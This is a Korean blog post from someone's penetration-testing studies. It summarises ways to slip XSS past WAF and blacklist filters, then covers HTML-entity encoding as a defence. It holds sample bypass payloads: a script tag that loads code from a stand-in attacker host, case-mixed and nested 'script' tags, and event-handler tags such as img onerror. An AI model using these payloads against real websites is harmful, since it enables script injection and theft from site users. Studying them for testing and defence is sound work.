이번에 크사 공격을 또 정리를 하겠습니다.
저희가 해킹을 공부하면서 가장 중요한 게 응용인 거 같아요
왜냐하면 저희가 취약점을 찾으면 얼마나 중요한지 얼마나 공격을 당하는 지까지 알아야 되니깐요
취약점을 찾았는데 공격이 안되면 그게 중요한 취약점이라고 느끼지 않잖아요
그러니깐 저희가 한 번 나쁜 사람이 되어서 취약점을 찾고 이걸 이용하여 어떻게 공격을 하면 되는지
해보는 겁니다.
그리고 남들에게 공격 시나리오를 보여주는 겁니다. 그럼 얼마나 심각한지 깨닫겠죠?
그러니 취약점 찾는 것도 중요하지만 어떡해 공격하는지도 알 필요가 있습니다!
서론이 길었습니다. 바로 시작을 할게요.
XSS 총 정리 이긴 한데 저번에 정리한 내용을 이어서 설명하는 겁니다.
저희는 XSS 공격을 어떡해 하는지 알고 있습니다.
근데 그걸 우회 하는 방법은 생소 하실 거예요.
그걸 정리하겠습니다.
- Anti XSS Bypass (XSS 우회 공격)
보통 XSS을 막는 방법이 Black List 필터링을 이용합니다. 그리고 이 필터링이 탑재된 방화벽인
WAF가 있습니다.
대부분 서버는 이 WAF을 이용하여 XSS을 막습니다. 그래서 이 WAF 내에 많은 XSS 공격 데이터가 있어서
그것들을 알아서 필터링을 막아 줍니다.
<script>을 못 쓰게 하고 alert(1) 쓰면 출력이 안되고.. 등 필터링을 해줍니다.
그러니 저희는 이 WAF을 우회해야만 되겠죠?
[1] Client Side 검증 우회
-> Burp Suite(프록시 툴) 통해 우회하면 된다.
클라이언트 측에서 검증을 한다? 말이 안 되긴 해요.
집 문에 자물쇠를 걸고 옆에 열쇠를 같이 걸어 두는 거나 마찬가지입니다.
즉! 이 말은 클라이언트 측에서 실행하는 자바스크립트로 검증을 하는 겁니다.
그러니 만약 <script< > 이러면 프락시 툴의 인터셉트를 이용해 바꾸면 되겠죠
[2] Script Load
" , ' , alert function 애매하게 필터링을 하는 경우가 있습니다.
이것은 저희의 서버에 링크를 걸고 js파일을 실행하게 하면 됩니다.
예를 들어
<script src=http://hacking.com/hack.js></script> 이러면
스크립트가 실행되면 제 서버의 hack.js의 자바스크립트가 실행되겠죠?
이러면 단어 필터링이 우회가 되게 합니다.
[3] 대소문자 혼용
<script> -> <ScRiPt> 이렇게 우회했는데 되는 경우가 있습니다.
[4] 필터링되는 문자
<script> -> <scrscriptipt> 이렇게 가운데 script 단어가 사라지면 알아서 script가 완성되게 하는 방법도 있습니다.
[5] EventHandler
꼭 <script>을 안 써도 되죠!
<img src=x onerror="alert(1)"> 이렇게 img 태그 써도 되겠죠
또는 onactivate 또는 onload 또 svg 태그도 있고요
audio 태그에 src을 이용하면 됩니다.
등등
그래서 저희는 이런 이벤트 핸들러를 많이 알 수 록 우회가 쉬워지겠죠?
추천 사이트가 있습니다.
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy
Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.
portswigger.net
여기에 각 브라우저마다 공격 가능한 XSS 태그가 다양하게 있습니다.
참고하시면 많이 도움 되실 거예요
참고로 매일 새로운 공격이 업데이트가 되고 있습니다.
---------------------------------------------------------------------------
이제 대응 방법도 알면 되겠죠?
SQLi 대응 방법은 PreparedStatement 함수만 쓰면 해결 됐죠?
XSS 대응 방안도 간단합니다.
**XSS 대응 방안
HTML 특수문자들을 HTML Entity로 변환하면 됩니다.
예를 들어
<는 < 로 변하게 하는 겁니다. 클라이언트 측에서는 특수기호가 보이지만
코드상에는 < 이렇게 써지게 하는 겁니다.
바꾸는 함수는 filter_var도 있고 라이브러리인 Lodash, unescape js을 이용하면 됩니다.
.
.
.
.
.
물론 만능까지는 아닙니다. 왜냐하면 <script> 안에 값이 들어간다고 하면 저희는 input 함수만 쓰면 되겠죠?
그리고 태그 안에 값이 들어가는 경우가 있습니다. 그럼 저희는 XSS 공격을 할 수 있게 되는 겁니다.
그러니 태그 안에 들어가는 값들을 이용하여 XSS 공격이 통할 수 있는 겁니다. 저희는 이 것을 찾는데 연연해야 하고요
.
.
.
.
이렇게 XSS 공격 정리를 마치겠습니다. 다음에는 XSS 공격 실습을 하면서 여러 공격 방법을 찾아보겠습니다!
'보안지식 > XSS' 카테고리의 다른 글
XSS 실습 - 피싱 사이트 (0) | 2023.06.07 |
---|---|
XSS 정리 - reflected XSS 실습(7번 풀이) (0) | 2023.06.06 |
[노말틱 모의 해킹 취업반 6주차 해킹과제] XSS 정리 - reflected XSS 실습(2번,3번 풀이) (1) | 2023.05.13 |
[노말틱 모의 해킹 취업반 6주차 해킹과제] XSS 정리 (0) | 2023.05.05 |